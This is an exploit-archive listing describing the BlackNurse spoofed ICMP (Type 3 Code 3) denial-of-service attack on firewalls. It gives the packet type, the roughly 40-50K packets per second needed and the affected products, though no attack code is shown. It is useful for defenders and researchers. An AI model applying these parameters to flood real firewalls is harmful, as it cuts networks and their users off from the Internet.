BlackNurse Spoofed ICMP Denial Of Service Proof Of Concept

BlackNurse Spoofed ICMP Denial Of Service Proof Of Concept
Posted Nov 15, 2016
Authored by Todor Donev

Blacknurse is a low bandwidth ICMP attack that is capable of doing denial of service to well known firewalls. Most ICMP attacks that we see are based on ICMP Type 8 Code 0 also called a ping flood attack. BlackNurse is based on ICMP with Type 3 Code 3 packets. We know that when a user has allowed ICMP Type 3 Code 3 to outside interfaces, the BlackNurse attack becomes highly effective even at low bandwidth. Low bandwidth is in this case around 15-18 Mbit/s. This is to achieve the volume of packets needed which is around 40 to 50K packets per second. It does not matter if you have a 1 Gbit/s Internet connection. The impact we see on different firewalls is typically high CPU loads. When an attack is ongoing, users from the LAN side will no longer be able to send/receive traffic to/from the Internet. All firewalls we have seen recover when the attack stops. Various firewalls such as Cisco ASA 5515/5525/5550/5515-X, Fortigate, SonicWall, and more are affected.
